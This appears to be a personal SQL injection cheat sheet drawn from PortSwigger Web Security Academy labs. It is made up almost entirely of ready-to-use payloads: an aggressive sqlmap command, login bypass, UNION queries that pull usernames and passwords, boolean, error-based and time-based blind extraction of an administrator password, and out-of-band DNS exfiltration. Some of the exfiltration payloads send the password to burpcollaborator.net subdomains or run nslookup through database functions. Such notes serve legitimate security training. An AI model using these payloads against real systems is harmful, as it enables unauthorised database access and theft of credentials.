**sqlmap** -r request --level=5--risk=3 --batch --dns-domain=collaborator.net -p ‘username’ -dump

<https://portswigger.net/web-security/sql-injection/cheat-sheet>

Detect

- use (active) Scanner

- submit ‘

- submit 1+1

Retrieving hidden data

https://insecure-website.com/products?category=Gifts

SELECT \* FROM products WHERE category = 'Gifts' AND released = 1

Attack:

https://insecure-website.com/products?category=Gifts'--

SELECT \* FROM products WHERE category = 'Gifts'--' AND released = 1

|  |  |
| --- | --- |
| **Oracle** | --comment |
| **Microsoft** | --comment /\*comment\*/ |
| **PostgreSQL** | --comment /\*comment\*/ |
| **MySQL** | #comment -- comment **[space after the double dash**] /\*comment\*/ |

https://insecure-website.com/products?category=Gifts'+OR+1=1--

SELECT \* FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1

Subverting application logic

SELECT \* FROM users WHERE username = 'wiener' AND password = 'bluecheese'

SELECT \* FROM users WHERE username = 'administrator'--' AND password = ''

Retrieving data from other database tables

SELECT name, description FROM products WHERE category = 'Gifts'

Gifts' UNION SELECT username, password FROM users--

same number of columns and compatible data types

Determining the number of columns

' ORDER BY 1--

' ORDER BY 2--

' ORDER BY 3--

etc. increasing until an error occurs (or no results)

' UNION SELECT NULL--

' UNION SELECT NULL,NULL--

' UNION SELECT NULL,NULL,NULL--

etc. increasing until an error occurs (or no results)

**For Oracle database**: ' UNION SELECT NULL FROM dual--

Finding columns with a useful data type

' UNION SELECT 'a',NULL,NULL,NULL--

' UNION SELECT NULL,'a',NULL,NULL--

' UNION SELECT NULL,NULL,'a',NULL--

' UNION SELECT NULL,NULL,NULL,'a'--

If no error occurs, the column is of string data type

Retrieving multiple values within a single column

' UNION SELECT NULL, username || '~' || password FROM users--

String concatenation:

|  |  |
| --- | --- |
| **Oracle** | 'foo'||'bar' |
| **Microsoft** | 'foo'+'bar' |
| **PostgreSQL** | 'foo'||'bar' |
| **MySQL** | 'foo' 'bar' [space between the two strings] CONCAT('foo','bar') |

Querying the database type and version

|  |  |
| --- | --- |
| **Oracle** | SELECT banner FROM v$version SELECT version FROM v$instance |
|  |  |
| **Microsoft**  **MySQL** | SELECT @@version |
| **PostgreSQL** | SELECT version() |

Listing the contents of the database

|  |  |
| --- | --- |
| **Oracle** | SELECT \* FROM all\_tables SELECT \* FROM all\_tab\_columns WHERE table\_name = 'TABLE-NAME-HERE' |
| **Microsoft**  **Postgre**  **MySQL** | SELECT \* FROM information\_schema.tables SELECT \* FROM information\_schema.columns WHERE table\_name = 'TABLE-NAME-HERE' |

for first request: table\_name

for second request: column\_name, data\_type

Exploiting blind SQL injection by triggering conditional responses

**the application behaves differently depending on whether the query returns any data**

|  |  |
| --- | --- |
| **Oracle** | SUBSTR('foobar', 4, 2) |
| **Microsoft** | SUBSTRING('foobar', 4, 2) |
| **PostgreSQL** | SUBSTRING('foobar', 4, 2) |
| **MySQL** | SUBSTRING('foobar', 4, 2) |

returns ba

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

**Check:**

…xyz' AND '1'='1

…xyz' AND '1'='2

**Check if table “users” exists:**

TrackingId=xyz' AND (SELECT 'a' FROM users LIMIT 1)='a

**Check if the username “administrator” exists:**

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator')='a

**Determine the length of password:**

TrackingId=xyz' AND (SELECT 'a' FROM users WHERE username='administrator' AND LENGTH(password)=1)='a

**Attack:**TrackingId=xyz' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a

Inducing conditional responses by triggering SQL errors

cause a database error if the condition is true, not if the condition is false

**Check if username “administrator” exists:**

TrackingId=xyz'||(SELECT CASE WHEN **(1=1)** THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

**Determine the length of password:**

TrackingId=xyz'||(SELECT CASE WHEN **LENGTH(password)=1** THEN to\_char(1/0) ELSE '' END FROM users WHERE username='administrator')||'

**Attack**:

TrackingId=xyz'||(SELECT CASE WHEN **SUBSTR(password,1,1)='a'** THEN TO\_CHAR(1/0) ELSE '' END FROM users WHERE username='administrator')||'

Exploiting blind SQL injection by triggering time delays

no error could be caused => trigger a delay when the condition is true

cause an unconditional time delay of 10 seconds:

|  |  |
| --- | --- |
| **Oracle** | dbms\_pipe.receive\_message(('a'),10) |
| **Microsoft** | WAITFOR DELAY '0:0:10' |
| **PostgreSQL** | SELECT pg\_sleep(10) |
| **MySQL** | SELECT SLEEP(10) |

'; IF (1=2) WAITFOR DELAY '0:0:10'-- **(URL-encode these)**

'; IF (1=1) WAITFOR DELAY '0:0:10'--

'|| pg\_sleep(10)--

'; IF (SELECT COUNT(Username) FROM Users WHERE Username = 'Administrator' AND SUBSTRING(Password, 1, 1) > 'm') = 1 WAITFOR DELAY '0:0:{delay}'--

**Check if username “administrator” exists:**

TrackingId=x'; SELECT CASE WHEN (username='administrator') THEN pg\_sleep(10) ELSE pg\_sleep(0) END FROM users--

**Determine the length of “password”: (only use 1 thread)**

TrackingId=x'; SELECT CASE WHEN (username='administrator' AND LENGTH(password)=1) THEN pg\_sleep(10) ELSE pg\_sleep(0) END FROM users--

**Attack: (only use 1 thread)**

TrackingId=x'; SELECT CASE WHEN (username='administrator' AND SUBSTRING(password,1,1)=’a’) THEN pg\_sleep(10) ELSE pg\_sleep(0) END FROM users--

## **Exploiting blind SQL injection using out-of-band (**[**OAST**](https://portswigger.net/burp/application-security-testing/oast)**) techniques**

no error, no time difference

**DNS**

|  |  |
| --- | --- |
| **Oracle** | The following technique leverages an XML external entity ([XXE](https://portswigger.net/web-security/xxe)) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence: **UNION** SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual  The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL\_INADDR.get\_host\_address('BURP-COLLABORATOR-SUBDOMAIN') |
| **Microsoft** | exec master..xp\_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
| **PostgreSQL** | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
| **MySQL** | The following techniques work on Windows only: LOAD\_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |

'; exec master..xp\_dirtree '//0efdymgw1o5w9inae8mg4dfrgim9ay.burpcollaborator.net/a'--

TrackingId=x'+UNION+SELECT+EXTRACTVALUE(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//BURP-COLLABORATOR-SUBDOMAIN/">+%25remote%3b]>'),'/l')+FROM+dual-- **(Oracle does not support executing multiple queries in succession)**

**Exfiltrate data:**

|  |  |
| --- | --- |
| **Oracle** | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
| **Microsoft** | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp\_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
| **PostgreSQL** | create OR replace function f() returns void as $$ declare c text; declare p text; begin SELECT into p (SELECT YOUR-QUERY-HERE); c := 'copy (SELECT '''') to program ''nslookup '||p||'.BURP-COLLABORATOR-SUBDOMAIN'''; execute c; END; $$ language plpgsql security definer; SELECT f(); |
| **MySQL** | The following technique works on Windows only: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |

'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='administrator');exec('master..xp\_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--

password will be sent to Collaborator as subdomain in Host header

## **SQL injection in different contexts**

**use Hackvertor to encode the XML payload:**

<storeId>**<@hex\_entities>**1 UNION SELECT username || '~' || password FROM users**<@/hex\_entities>**</storeId>